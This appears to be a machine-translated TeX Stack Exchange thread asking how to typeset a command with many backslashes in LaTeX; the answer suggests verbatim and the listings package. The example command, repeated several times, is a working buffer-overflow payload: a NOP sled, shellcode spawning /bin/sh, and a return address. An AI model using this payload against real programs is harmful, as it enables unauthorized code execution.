转义大量反斜杠和其他特殊字符

转义大量反斜杠和其他特殊字符

我正在尝试用 LaTeX 编写 Unix 命令,但它似乎卡在特殊字符上。有没有办法转义反斜杠、赞誉、美元符号等?命令如下

$(python -c 'print "\x90" * 653 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x98\xf2\xff\xbf"')

但是,会出现以下错误:

! 未定义控制序列。l.37 $(python -c 'print "\x 90" * 653 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x7...

我也尝试过\verbatim,但是也不起作用。

答案1

欢迎TSE

您可以将此类文本封闭在verbatim环境中,但我主要建议您,如果您的文档中有许多行代码,最好使用listingsminted包。有关更多详细信息,请阅读包手册,您可以应用许多选项。

希望下面的内容能对你有帮助。

\documentclass{article}

\usepackage{listings}

\begin{document}
\noindent\verb|$(python -c 'print "\x90" * 653 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x98\xf2\xff\xbf"')|

\begin{verbatim}
$(python -c 'print "\x90" * 653 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x98\xf2\xff\xbf"')
\end{verbatim}

\lstset{
    stringstyle=\ttfamily,
    breaklines=true,
    frame=line
}
\begin{lstlisting}[language=python, title={My Code}]
$(python -c 'print "\x90" * 653 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x98\xf2\xff\xbf"')
\end{lstlisting}

\end{document}

enter image description here

相关内容